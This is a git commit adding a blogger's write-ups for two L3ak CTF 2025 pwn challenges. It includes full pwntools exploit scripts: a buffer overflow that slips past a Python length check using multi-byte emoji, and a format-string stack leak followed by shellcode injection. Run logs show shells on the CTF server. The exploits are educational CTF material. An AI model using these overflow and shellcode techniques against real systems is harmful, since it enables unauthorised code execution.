Adds l3ak ctf 2025
This commit is contained in:
7
content/writeups/2025/l3ak_ctf/_index.md
Normal file
7
content/writeups/2025/l3ak_ctf/_index.md
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
+++
|
||||||
|
date = '2025-07-14T09:11:19+02:00'
|
||||||
|
draft = false
|
||||||
|
title = 'L3ak ctf'
|
||||||
|
+++
|
||||||
|
|
||||||
|
A ctf that seems to be fairly big, I didn't spend much time on it so only solved 2 rather easy pwn challenges.
|
||||||
BIN
content/writeups/2025/l3ak_ctf/pwn/safe_gets/chall.zip
Normal file
BIN
content/writeups/2025/l3ak_ctf/pwn/safe_gets/chall.zip
Normal file
Binary file not shown.
53
content/writeups/2025/l3ak_ctf/pwn/safe_gets/exploit.py
Executable file
53
content/writeups/2025/l3ak_ctf/pwn/safe_gets/exploit.py
Executable file
@@ -0,0 +1,53 @@
|
|||||||
|
#!/usr/bin/python3
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
# Allows you to switch between local/GDB/remote from terminal
|
||||||
|
def start(argv=[], *a, **kw):
|
||||||
|
if args.GDB: # Set GDBscript below
|
||||||
|
exe = local_exe
|
||||||
|
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
|
||||||
|
elif args.REMOTE: # ('server', 'port')
|
||||||
|
return remote(sys.argv[1], sys.argv[2], *a, **kw)
|
||||||
|
elif args.SSH:
|
||||||
|
exe = remote_exe
|
||||||
|
s=ssh(host='HOST',user='LOGIN',password='PASSWORD',port=0000)
|
||||||
|
return s.process([exe] + argv)
|
||||||
|
else: # Run locally
|
||||||
|
exe = local_exe
|
||||||
|
return process([exe] + argv, *a, **kw)
|
||||||
|
|
||||||
|
|
||||||
|
# Specify your GDB script here for debugging
|
||||||
|
gdbscript = '''
|
||||||
|
break main
|
||||||
|
break *main+202
|
||||||
|
'''.format(**locals())
|
||||||
|
|
||||||
|
|
||||||
|
# USE ./filename otherwise gdb will not work
|
||||||
|
local_exe = './chall'
|
||||||
|
remote_exe = 'REMOTE'
|
||||||
|
# This will automatically get context arch, bits, os etc
|
||||||
|
elf = context.binary = ELF(local_exe, checksec=False)
|
||||||
|
# Change logging level to help with debugging (error/warning/info/debug)
|
||||||
|
#context.log_level = 'debug'
|
||||||
|
context.log_level = 'info'
|
||||||
|
|
||||||
|
# ===========================================================
|
||||||
|
# EXPLOIT GOES HERE
|
||||||
|
# ===========================================================
|
||||||
|
|
||||||
|
io = start()
|
||||||
|
|
||||||
|
payload = flat(
|
||||||
|
b"A"*74,
|
||||||
|
b"\x00",
|
||||||
|
"😄".encode("utf-8")*50,
|
||||||
|
b"A"*5,
|
||||||
|
pack((elf.symbols.win)+5)
|
||||||
|
)
|
||||||
|
write("payload", payload)
|
||||||
|
io.sendlineafter(b"Enter your input (max 255 bytes): ", payload)
|
||||||
|
|
||||||
|
# Receive the flag
|
||||||
|
io.interactive()
|
||||||
103
content/writeups/2025/l3ak_ctf/pwn/safe_gets/index.md
Normal file
103
content/writeups/2025/l3ak_ctf/pwn/safe_gets/index.md
Normal file
@@ -0,0 +1,103 @@
|
|||||||
|
+++
|
||||||
|
date = '2025-07-14T09:16:19+02:00'
|
||||||
|
draft = false
|
||||||
|
title = 'Safe Gets'
|
||||||
|
tags = [ "pwn" ]
|
||||||
|
+++
|
||||||
|
|
||||||
|
description: I think I found a way to make gets safe.
|
||||||
|
Author: White
|
||||||
|
|
||||||
|
We are given a program and a python wrapper around it.
|
||||||
|
|
||||||
|
## Main program
|
||||||
|
|
||||||
|
Let's start with the program after a quick pass through ghidra
|
||||||
|
```C
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
size_t input_len;
|
||||||
|
char buffer [259];
|
||||||
|
char local_15;
|
||||||
|
int input_len_2;
|
||||||
|
ulong i;
|
||||||
|
|
||||||
|
gets(buffer);
|
||||||
|
input_len = strlen(buffer);
|
||||||
|
input_len_2 = (int)input_len;
|
||||||
|
for (i = 0; i < (ulong)(long)(input_len_2 / 2); i = i + 1) {
|
||||||
|
local_15 = buffer[(long)(input_len_2 + -1) - i];
|
||||||
|
buffer[(long)(input_len_2 + -1) - i] = buffer[i];
|
||||||
|
buffer[i] = local_15;
|
||||||
|
}
|
||||||
|
puts("Reversed string:");
|
||||||
|
puts(buffer);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void win(void)
|
||||||
|
{
|
||||||
|
system("/bin/sh");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
It's a simple compiled C program that reverses a string, the interesting thing is the call to `gets` that allows us to overflow the buffer overwrite the return pointer and jump to the beautiful `win` function.
|
||||||
|
No binary protections are stopping us from doing this except the python wrapper the program is launched from.
|
||||||
|
```
|
||||||
|
[*] 'l3ak_ctf/pwn/safe_gets/chall'
|
||||||
|
Arch: amd64-64-little
|
||||||
|
RELRO: Partial RELRO
|
||||||
|
Stack: No canary found
|
||||||
|
NX: NX enabled
|
||||||
|
PIE: No PIE (0x400000)
|
||||||
|
SHSTK: Enabled
|
||||||
|
IBT: Enabled
|
||||||
|
Stripped: No
|
||||||
|
```
|
||||||
|
|
||||||
|
## Python wrapper
|
||||||
|
|
||||||
|
Most of it doesn't matter for us except this small part that limits the length of the input we provide to 255.
|
||||||
|
```python
|
||||||
|
BINARY = "./chall"
|
||||||
|
MAX_LEN = 0xff
|
||||||
|
|
||||||
|
# Get input from user
|
||||||
|
payload = input(f"Enter your input (max {MAX_LEN} bytes): ")
|
||||||
|
if len(payload) > MAX_LEN:
|
||||||
|
print("[-] Input too long!")
|
||||||
|
sys.exit(1)
|
||||||
|
```
|
||||||
|
|
||||||
|
Thus the tricky part is to bypass this limit because we need to write at least 275 chars to have a big enough overflow.
|
||||||
|
|
||||||
|
## Solve
|
||||||
|
|
||||||
|
So what does the `len` function count ? It counts unicode codepoints which can be multiple bytes long.
|
||||||
|
So I replace the part of my payload responsible for filling up the buffer by 😄 emojis and after solving a stack alignment problem I get a shell and the flag.
|
||||||
|
|
||||||
|
Here is my solve script (the interesting part).
|
||||||
|
```python
|
||||||
|
io = start()
|
||||||
|
payload = flat(
|
||||||
|
b"A"*74,
|
||||||
|
b"\x00",
|
||||||
|
"😄".encode("utf-8")*50,
|
||||||
|
b"A"*5,
|
||||||
|
pack((elf.symbols.win)+5)
|
||||||
|
)
|
||||||
|
io.sendlineafter(b"Enter your input (max 255 bytes): ", payload)
|
||||||
|
io.interactive()
|
||||||
|
```
|
||||||
|
And when running it we get the flag.
|
||||||
|
```
|
||||||
|
>>> ./exploit.py REMOTE 34.45.81.67 16002
|
||||||
|
[+] Opening connection to 34.45.81.67 on port 16002: Done
|
||||||
|
[*] Switching to interactive mode
|
||||||
|
$ cat flag.txt
|
||||||
|
L3AK{6375_15_4pp4r3n7ly_n3v3r_54f3}
|
||||||
|
[*] Interrupted
|
||||||
|
[*] Closed connection to 34.45.81.67 port 16002
|
||||||
|
```
|
||||||
|
|
||||||
BIN
content/writeups/2025/l3ak_ctf/pwn/the_goose/chall.zip
Normal file
BIN
content/writeups/2025/l3ak_ctf/pwn/the_goose/chall.zip
Normal file
Binary file not shown.
62
content/writeups/2025/l3ak_ctf/pwn/the_goose/exploit.py
Executable file
62
content/writeups/2025/l3ak_ctf/pwn/the_goose/exploit.py
Executable file
@@ -0,0 +1,62 @@
|
|||||||
|
#!/usr/bin/python3
|
||||||
|
from pwn import *
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
# Allows you to switch between local/GDB/remote from terminal
|
||||||
|
def start(argv=[], *a, **kw):
|
||||||
|
if args.GDB: # Set GDBscript below
|
||||||
|
exe = local_exe
|
||||||
|
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
|
||||||
|
elif args.REMOTE: # ('server', 'port')
|
||||||
|
return remote(sys.argv[1], sys.argv[2], *a, **kw)
|
||||||
|
elif args.SSH:
|
||||||
|
exe = remote_exe
|
||||||
|
s=ssh(host='HOST',user='LOGIN',password='PASSWORD',port=0000)
|
||||||
|
return s.process([exe] + argv)
|
||||||
|
else: # Run locally
|
||||||
|
exe = local_exe
|
||||||
|
return process([exe] + argv, *a, **kw)
|
||||||
|
|
||||||
|
|
||||||
|
# Specify your GDB script here for debugging
|
||||||
|
gdbscript = '''
|
||||||
|
break *highscore+276
|
||||||
|
'''.format(**locals())
|
||||||
|
|
||||||
|
|
||||||
|
# USE ./filename otherwise gdb will not work
|
||||||
|
local_exe = './chall'
|
||||||
|
remote_exe = 'REMOTE'
|
||||||
|
# This will automatically get context arch, bits, os etc
|
||||||
|
elf = context.binary = ELF(local_exe, checksec=False)
|
||||||
|
# Change logging level to help with debugging (error/warning/info/debug)
|
||||||
|
#context.log_level = 'debug'
|
||||||
|
context.log_level = 'info'
|
||||||
|
|
||||||
|
# ===========================================================
|
||||||
|
# EXPLOIT GOES HERE
|
||||||
|
# ===========================================================
|
||||||
|
|
||||||
|
io = start()
|
||||||
|
|
||||||
|
number = subprocess.run(["./predict"], capture_output=True).stdout
|
||||||
|
io.sendlineafter(b"> ", b"GOD")
|
||||||
|
io.sendlineafter(b'so GOD. how many honks?', number)
|
||||||
|
|
||||||
|
io.sendlineafter(b"what's your name again?", b'%p')
|
||||||
|
|
||||||
|
stack = int(io.recv().decode().split()[1], 16)
|
||||||
|
stack -= 0x126 # Offset to our buffer
|
||||||
|
|
||||||
|
# Space before return pointer 376
|
||||||
|
sh = asm(shellcraft.amd64.linux.sh())
|
||||||
|
|
||||||
|
payload = flat(
|
||||||
|
asm('nop')*100,
|
||||||
|
sh,
|
||||||
|
b'A'*(376-100-len(sh)),
|
||||||
|
pack(stack)
|
||||||
|
)
|
||||||
|
io.sendline(payload)
|
||||||
|
|
||||||
|
io.interactive()
|
||||||
168
content/writeups/2025/l3ak_ctf/pwn/the_goose/index.md
Normal file
168
content/writeups/2025/l3ak_ctf/pwn/the_goose/index.md
Normal file
@@ -0,0 +1,168 @@
|
|||||||
|
+++
|
||||||
|
date = '2025-07-14T09:16:28+02:00'
|
||||||
|
draft = false
|
||||||
|
title = 'The goose'
|
||||||
|
tags = [ "pwn" ]
|
||||||
|
+++
|
||||||
|
|
||||||
|
description: When the honking gets tough, you better brush up on your basics.
|
||||||
|
Author: dsp
|
||||||
|
|
||||||
|
For this challenge we are given the binary and the Dockerfile
|
||||||
|
```
|
||||||
|
>>> pwn checksec --file=chall <<<
|
||||||
|
[*] 'l3ak_ctf/pwn/the_goose/chall'
|
||||||
|
Arch: amd64-64-little
|
||||||
|
RELRO: Partial RELRO
|
||||||
|
Stack: No canary found
|
||||||
|
NX: NX unknown - GNU_STACK missing
|
||||||
|
PIE: PIE enabled
|
||||||
|
Stack: Executable
|
||||||
|
RWX: Has RWX segments
|
||||||
|
Stripped: No
|
||||||
|
```
|
||||||
|
|
||||||
|
No stack canary and executable stack we can already guess this will involve a shellcode.
|
||||||
|
|
||||||
|
## Exploration
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> the_goose ./chall
|
||||||
|
Welcome to the goose game.
|
||||||
|
Here you have to guess a-priori, how many HONKS you will receive from a very angry goose.
|
||||||
|
Godspeed.
|
||||||
|
How shall we call you?
|
||||||
|
> GOD
|
||||||
|
|
||||||
|
so GOD. how many honks?10
|
||||||
|
|
||||||
|
HONK ... HONK
|
||||||
|
tough luck. THE GOOSE WINS! GET THE HONK OUT!
|
||||||
|
```
|
||||||
|
|
||||||
|
So it seems like we have to guess the number of HONKs from the goose.
|
||||||
|
Let's fire up ghidra and look at what we facing.
|
||||||
|
|
||||||
|
```C
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
int iVar1;
|
||||||
|
time_t tVar2;
|
||||||
|
|
||||||
|
setvbuf(stdout,(char *)0x0,2,0);
|
||||||
|
tVar2 = time((time_t *)0x0);
|
||||||
|
srand((uint)tVar2);
|
||||||
|
setuser();
|
||||||
|
iVar1 = rand();
|
||||||
|
nhonks = iVar1 % 0x5b + 10;
|
||||||
|
iVar1 = guess();
|
||||||
|
if (iVar1 == 0) {
|
||||||
|
puts("tough luck. THE GOOSE WINS! GET THE HONK OUT!");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
highscore();
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The number of honks are generated by `rand()` which is seeded with the current time.
|
||||||
|
If we correctly guess the number of honks we go inside of the highscore function.
|
||||||
|
```C
|
||||||
|
void highscore(void)
|
||||||
|
{
|
||||||
|
undefined message_buffer [128];
|
||||||
|
char buffer_random [31];
|
||||||
|
undefined local_d9;
|
||||||
|
undefined name_buffer [32];
|
||||||
|
char success_message [74];
|
||||||
|
|
||||||
|
/* The message is written one char at a time I placed everything on the same line to make it readable */
|
||||||
|
success_message = "wow %s you\'re so go what message would you like to leave to the world?"
|
||||||
|
success_message[0x49] = '\0';
|
||||||
|
printf("what\'s your name again?");
|
||||||
|
scanf("%31s",name_buffer);
|
||||||
|
local_d9 = 0;
|
||||||
|
sprintf(buffer_random,success_message,name_buffer);
|
||||||
|
printf(buffer_random);
|
||||||
|
read(0,message_buffer,0x400);
|
||||||
|
printf("got it. bye now.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The highscore function has a really obvious buffer overflow on the call to `read` that would allow us to inject shellcode and jump to it.
|
||||||
|
So there are two steps to this challenge :
|
||||||
|
1. Guessing the number of honks
|
||||||
|
2. Exploiting the `highscore` function to get a shell
|
||||||
|
|
||||||
|
## Guessing the number of honks
|
||||||
|
|
||||||
|
The random number generator is initialised using `srand(time(NULL))` which makes the seed the second of the call to `srand`.
|
||||||
|
We also know how the number of honks is calculated (`nhonks = iVar1 % 0x5b + 10;`).
|
||||||
|
From there we can easily compute the number with a small C program
|
||||||
|
```C
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
srand(time(NULL));
|
||||||
|
printf("%d", (rand() % 0x5b + 10));
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
After compiling we can call it from a pwntools script and correctly guess the number of honks (if you are on a slow link you can add 1 or 2 to the `srand` time).
|
||||||
|
```python
|
||||||
|
number = subprocess.run(["./predict"], capture_output=True).stdout
|
||||||
|
io.sendlineafter(b"> ", b"GOD")
|
||||||
|
io.sendlineafter(b'so GOD. how many honks?', number)
|
||||||
|
```
|
||||||
|
|
||||||
|
## Exploiting the highscore function
|
||||||
|
|
||||||
|
Using the buffer overflow on the `read` call we can easily place a shellcode on the stack (there is no NX).
|
||||||
|
The only problem is finding the address of something on the stack to be able to jump to our shellcode.
|
||||||
|
This can be done using the format string vulnerability when we are asked for our name again. Giving `%p` as the name we are able to leak a pointer to the stack.
|
||||||
|
The last step is to calculate the offsets and finish writing the exploit scrip
|
||||||
|
|
||||||
|
## Putting it all together
|
||||||
|
|
||||||
|
```python
|
||||||
|
io = start()
|
||||||
|
|
||||||
|
number = subprocess.run(["./predict"], capture_output=True).stdout
|
||||||
|
io.sendlineafter(b"> ", b"GOD")
|
||||||
|
io.sendlineafter(b'so GOD. how many honks?', number)
|
||||||
|
|
||||||
|
io.sendlineafter(b"what's your name again?", b'%p')
|
||||||
|
|
||||||
|
stack = int(io.recv().decode().split()[1], 16)
|
||||||
|
stack -= 0x126 # Offset to our buffer
|
||||||
|
|
||||||
|
# Space before return pointer 376
|
||||||
|
sh = asm(shellcraft.amd64.linux.sh())
|
||||||
|
|
||||||
|
payload = flat(
|
||||||
|
asm('nop')*100,
|
||||||
|
sh,
|
||||||
|
b'A'*(376-100-len(sh)),
|
||||||
|
pack(stack)
|
||||||
|
)
|
||||||
|
io.sendline(payload)
|
||||||
|
|
||||||
|
io.interactive()
|
||||||
|
```
|
||||||
|
|
||||||
|
We run it and there we go
|
||||||
|
```
|
||||||
|
>>> ./exploit.py REMOTE 34.45.81.67 16004 <<<
|
||||||
|
[+] Opening connection to 34.45.81.67 on port 16004: Done
|
||||||
|
[*] Switching to interactive mode
|
||||||
|
got it. bye now.$ cat /flag.txt
|
||||||
|
L3AK{H0nk_m3_t0_th3_3nd_0f_l0v3}
|
||||||
|
[*] Interrupted
|
||||||
|
[*] Closed connection to 34.45.81.67 port 16004
|
||||||
|
```
|
||||||
10
content/writeups/2025/l3ak_ctf/pwn/the_goose/predict.c
Normal file
10
content/writeups/2025/l3ak_ctf/pwn/the_goose/predict.c
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
srand(time(NULL) + 1);
|
||||||
|
printf("%d", (rand() % 0x5b + 10));
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user